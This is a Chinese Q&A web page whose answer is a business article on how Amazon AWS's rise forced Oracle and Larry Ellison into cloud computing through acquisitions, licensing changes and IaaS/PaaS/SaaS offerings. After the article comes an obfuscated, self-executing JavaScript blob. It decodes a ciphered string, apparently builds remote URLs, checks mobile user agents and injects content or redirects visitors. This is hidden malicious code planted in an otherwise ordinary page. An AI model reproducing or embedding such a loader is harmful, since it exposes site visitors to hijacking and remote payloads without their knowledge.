亚马逊是如何一步步把甲骨文逼上云的?

2025-03-12 11:16:27
推荐回答(1个)
回答1:

全球最大的数据库公司甲骨文最近在“云计算之都”西雅图租赁了16万平方英尺的办公区,这距离它的总部加州硅谷约为上千公里,却与它最新的竞争对手亚马逊咫尺相隔。

市值2045亿美元的甲骨文,至今仍是世界上最赚钱的软件公司之一。创始人拉里·埃里森是一个强势、侵略性不加掩饰的人物。在2013年前,他是硅谷创业的典范——白手起家,巧妙抓住时机,不择手段横向扩展,销售额连年翻番,他本人也成为硅谷首富。

在这之后,埃里森却开始以浮夸的言辞和对商业竞争对手的讽刺而著称。今年3月,他公开表示,亚马逊和微软都是失败的竞争对手,至少在云计算的技术层面。让人难为情的是,甲骨文与他们之间存在着数倍的差距。

四年前,甲骨文超过了IBM,成为继微软后全球第二大软件公司。亚马逊则从一众云服务商中逐步脱颖而出。研究公司Synergy当时发布报告称,一个季度内亚马逊收入的增幅大幅超过了全部市场的增幅,并预计下个季度亚马逊获得的收入将比所有竞争对手还多15%。

原本处于平行线上的两家公司,很快便短兵相接。原因无他,以亚马逊为代表的新兴云计算公司在不断降低价格的同时,持续侵蚀甲骨文的生存空间。

面对变化,两家软件为主的公司选择了不同的路径。微软借助产品优势,迅速、正面切入云计算市场,而甲骨文花了几年时间抵触、犹豫,后而激进,导致了今天两家公司的不同命运。

2013年,微软市值一直徘徊在2000亿美元上下,但到了2017年,微软市值已经逼近6400亿美元。相形之下,甲骨文的脚步显然停滞了。

2014年,拉里·埃里森终于向“云”低头了。埃里森突然宣布辞去CEO一职,转任CTO,投入更多的精力在产品研发和战略制定。他通过大肆收购补全自由业务的不足,缩减成为完整云服务商的时间。随后进行集成整合,产品标准化和自动化,最终向客户提供包括IaaS、PaaS和SaaS三个层次完整的云计算服务。

从财务状况来看,拉里·埃里森的策略似乎行之有效。2018财年一季度,营收同比增长6.9%,这是2011年以来单季度最高增长率。与此同时,云计算业务占总营收的百分比从2015财年的5.5%,上升至16%。

今年10月,在全球大会上,甲骨文又一次放低身段,开始大谈性价比,这似乎是一个好的征兆。甲骨文一路被亚马逊倒逼,一步一步走上云端,并试图颠覆现有云商业模式。然而,云商业尚在前半程,它显然还有机会。

被亚马逊倒逼的四年

浮现危机之时,恰是甲骨文收入到达顶峰那一刻。

2013年10月,甲骨文软件业务过去一年的总收入已经超过同期的IBM,成为全球第二大商业软件公司。此时,IBM软件部分的收入是257亿美元,甲骨文的收入是278亿美元。

这只是一次数字上的超越。产品组合和数据处理能力,为甲骨文锁住核心用户群起到了至关重要的作用,而核心用户持续购买软件许可证授权,又为甲骨文提供了稳定的收入。如果没有变化,这会是一个良性的商业循环。

然而,几乎同一时间,云计算产业喷发了,并颠覆了既有的商业模式。用户可以使用更低的价格,按照需求进行购买。这使得一劳永逸的甲骨文深陷被动。更大的致命伤是,云计算公司提供可以降低风险的方案,帮助用户完成迁移。

替代,永远是抢夺市场最有效的方式。2013年7月,已经进入云计算厂商行列的阿里巴巴宣布,其公司内部彻底下线甲骨文数据库。这是自2008年开始的一场变革,以往认为难以被替代的甲骨文数据库从互联网公司开始抽离。

阿里之后,亚马逊AWS接力。2015年10月,亚马逊AWS CEO安迪·杰希(Andy Jassy)公开指责甲骨文通过昂贵的商业合同捆绑用户。AWS推出数据库迁移服务(DMS),帮助用户从甲骨文等竞争对手的数据库迁出,也可以保留用户的原有甲骨文数据库,只是从自己的数据中心迁移至AWS。但后一种方式往往会将用户导向AWS的数据库产品。

亚马逊公布数据,甲骨文的数据库用户迁移到AWS平台的速度越来越快,2016年为1.8万个客户,到2017年9月猛增到3.5万个。2015年开始,数据库业务已经占亚马逊AWS总销售额的20%。

埃里森当时认为,亚马逊只是一个提供“玩具”的公司,“他们已经不管那叫做网络(电脑),他们现在叫它云计算”。因为AWS服务的客户大多是买不起甲骨文这类IT公司产品的创业者和中小公司。

不过,埃里森又深知亚马逊带给甲骨文的恐怖压力。当年,他在一次公开演讲中称,“过去二十年里,我们密切关注IBM和SAP这两家竞争对手,但现在我们不再关注他们中的任何一个。”这一次他选择了亚马逊AWS和微软。

面对AWS发起的赤裸裸的挑战,甲骨文的应对策略竟然是提高授权价格,外界一片嘘声。更令甲骨文措手不及的是,亚马逊AWS也开始向银行业扩展,而这是甲骨文的核心地带。

亚马逊AWS向银行业游说称,云计算可以满足高峰期对计算和存储的要求,又能在低谷期节省成本,非常适合支持移动应用,并在应对突发状况下有益于处理风险。今天银行业也在寻求转型,这一话术显然极具诱惑力。

掉头激进上云

2016年9月,拉里·埃里森在甲骨文的发布会上宣布将全力进军云计算领域,与亚马逊正面开战,甚至直言“亚马逊独占鳌头的时代要成为过去式了”。

此时,埃里森已经72岁了。

这些年,虽然对云,尤其对AWS言论强硬,但不按套路出牌的埃里森其实已多维度布局云计算业务了。

2011年到2016年,甲骨文一连收购了15家覆盖云各环节的创新公司,收购对象不仅包括如云客户服务提供商RightNow等垂直领域玩家,也包括虚拟化技术公司Xsigo、Docker容器管理服务商StackEngine等技术公司。

为了全面支持云架构,甲骨文几乎重写了所有软件产品,并对应用的交互进行重新设计,还开发了高性能服务器芯片。从底层芯片到 IaaS、PaaS 、SaaS,再到行业应用,甲骨文正在翻新云计算的每个层面。

今年9月,埃里森宣布了一项从当月25日开始的云销售计划。这个计划包括自带许可证使用PaaS(平台即服务)和通用授权两个部分。埃里森希望彻底改变用户购买和使用云的方式。

这可视为甲骨文在云转型上的再一次迭代。

在此之前,甲骨文用户已经可以将其本地部署的授权软件许可证用于甲骨文IaaS(基础设施即服务)业务,而现在甲骨文将这项服务扩大到了PaaS,也就是数据库、中间件和分析软件等产品。这意味着本地部署的用户即刻可以使用甲骨文的数据库云。

所为“通用授权”,就是用户可以签订一份合同,即可以使用甲骨文的全部云服务,而甲骨文运营系统转为根据用户总消费进行记账,而不是彼此独立。当甲骨文发布新的服务时,用户可以不必重新与甲骨文签订合同,就可以使用。

这是一项直接针对亚马逊AWS制定的策略。

埃里森称,如果你要购买10万美元的云计算服务,你必须跟AWS讲清楚需要什么样的数据中心、需要何种服务,然后AWS会计算出成本。但在甲骨文云平台,用户可以随意选择服务,灵活性更大。

过去一年,甲骨文将数据库和中间件部门合并,改变了以往PaaS业务由一个个小团队独立开发、缺乏完整性的组织管理模式。在这之后,甲骨文发布了引入机器学习的新一代自治式数据库云,从技术上提升了产品的性能,以及管理的便捷性。

与此同时,甲骨文继续拉拢大公司支持其向云转型的计划。经过几个月的努力,2017年5月,甲骨文宣布与电信运营商AT&T达成协议,后者数千个内部数据库将前迁移至甲骨文的云平台上,这些数据库包括PB级的数据和相关应用程序工作负载。

大公司的力挺,给了埃里森与安迪·杰希大打营销战的信心。拉里·埃里森列举了六项测试结果,均显示甲骨文的技术性能和成本领先于亚马逊AWS。

甲骨文更想要抢食的是IaaS(基础设施即服务)市场,也是亚马逊和微软最大的根基。对于IaaS,尽管这一业务本身缺少附加价值、盈利空间有限,甚至可能面临做一单赔一单的困境,甲骨文的投入仍十分执着。

甲骨文副总裁、大中华区云平台事业部总经理吴承杨告诉《财经》记者,以往基础设施只是标准化的服务,但现在越来越多的企业需要定制化的服务,甲骨文在软件和平台上的积累将反馈给基础设施,而IaaS本身仍有巨大增长空间,市场并未完全消化。

2016年9月,甲骨文发布了其对IaaS的全新定义。埃里森解释称,其比亚马逊AWS运行更快、成本更低,并可以运行严苛的数据库任务,“AWS(在基础设施上)领先的优势已经结束”。

不过,甲骨文向下补齐基础设施的短板并非易事。原微软中国云计算负责人申元庆曾表示,云计算IaaS是典型的资本密集型产业,其中牵扯的资金和技术投入相当巨大。

甲骨文虽然希望通过自上到下的云计算业务整合,带动IaaS增长,但是几次错过云计算发展的机会,令其在规模化竞争的云计算市场短期内难以突破。2017年9月,Gartner发布的2016年全球IaaS报告显示,亚马逊AWS市场份额为44.2%、微软为7.1%、阿里云为3%,甲骨文并未单独列出。

事实上,甲骨文在SaaS(软件即服务)的扩张更加积极。一方面,甲骨文对内全面云化。一位前甲骨文战略部管理者告诉,埃里森启动强制性的手段,将以往应用产品的销售从提供本地部署全面转向SaaS的模式销售,并且公司不断增加招聘SaaS销售人员。

另一方面,甲骨文在市场上大肆收购,并完成与自有产品的整合。在这场军备竞赛中,微软和亚马逊AWS虽然也陆续出手收购一些创业公司,但是远不如甲骨文一盘端的架势来得凶猛。

截至目前,甲骨文已发布了3500项SaaS服务,形成客户体验解决方案(CX)云、人力资本管理(HCM)云,以及企业资源计划(ERP)云等在内的业务矩阵。

对比来看,亚马逊AWS通过SaaS服务商和ISV(独立软件开发商)的产品部署在其云平台之上,向垂直领域拓展,自有服务刚开始尝试;微软虽然凭借Office 365、Dynamics 365,以及收购的LinkedIn在SaaS收入排行榜上引领市场,但产品组合比较单薄。

一位熟悉甲骨文的IT行业专家告诉,这将成为甲骨文最有可能突围成功的云业务,“毕竟现阶段在这个领域,微软、亚马逊等云计算巨头都不能对甲骨文构成威胁”。

反噬亚马逊

就像其他经历痛苦转型的IT公司一样,按合同订单收费转向按需收费的商业模式后,甲骨文很可能在接下来一段时间内难以保持高营收,甚至有些俯冲的趋势,利润也会受到影响。

过去四年的激进转型拉近了甲骨文和AWS的距离,IT公司云和恩墨创始人盖国强向《财经》记者评论,接下来,就要看甲骨文如何在这个基础上通过创新超越别人。

甲骨文甚至开始向亚马逊AWS的优势领域进攻。2016年,甲骨文完成了对NetSuite的收购,交易金额为92亿美元,远超甲骨文2009年对Sun的74亿美元收购,成为公司史上最大收购。甲骨文CEO马克·赫德(Mark Hurd)告诉,通过收购,甲骨文获得了NetSuite的4万家中小企业客户,将与甲骨文现有客户形成互补。

2017年11月,甲骨文在中国宣布了新一批客户,摩拜单车、科大讯飞等这些科技行业当红炸子鸡榜上有名。其中,摩拜单车已部署了HCM和ERP云,希望借此解决公司发展规模扩大后,员工年轻化和跨生态业务模式对公司内部管理的挑战。这家公司在企业级业务上的经验积累逐步释放。

然而,互联网客户对云平台的忠诚度并不高,往往根据业务需求出发选择不同的服务提供商。因此,留住以往传统核心客户,对甲骨文更为关键。混合云可以满足这些用户的迁移需求。传统客户希望可以在公有云、私有云之间无缝切换,以保证他们可以降低风险尝试新的技术。而甲骨文重写代码后,打通了全线产品,可以支持一键式迁移的需求。

马克·赫德表示,客户会发现甲骨文的公有云和私有云,具有相同的标准、架构、产品和技能,这有利于客户在两者之间无缝迁移降低成本,并加速获得更多的创新。

事实上,云计算用户需求,已从成本支出节省的量变,转向获取数据分析、业务预测等增值服务的质变。

甲骨文产品开发总裁托马斯·库里安(Thomas Kurian)表示,云计算的未来有五大趋势:人工智能与机器学习、“自治”软件、物联网、区块链和人机交互。这也是亚马逊AWS和微软布局的重点。

2017年10月,甲骨文集中发布了物联网、区块链等方向的云解决方案,但早已开始与客户利用相应解决方案展开合作。同年8月,三菱电机借助甲骨文物联网云服务为其工厂自动化开发新平台。利用这个平台,客户可以在生产现场完成快速收集、分析和利用数据,进而开发应用满足生产需求,优化供应链,管理遍布全球的工厂。

传统的销售客户正在转变为甲骨文的研发合作伙伴。服装零售商Gap将其销售相关的云服务部署在了甲骨文云上。Gap首席信息官保罗·查普曼(Paul Chapman)表示,过去六个月时间里,其所在团队与甲骨文共同完成了开发、规划解决方案,到部署上线的全过程。

甲骨文需要更加扩大合作伙伴范围,构建完整的云计算生态。截至目前,加入甲骨文合作伙伴网云计划的成员已经超过2600家,但却仍低于以往甲骨文以软件为基础构建上万家规模的生态体系。

微软之外,甲骨文是第二个提出完整转型方案的,这给其他传统IT公司带来新的希望,即使它们已经老去。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();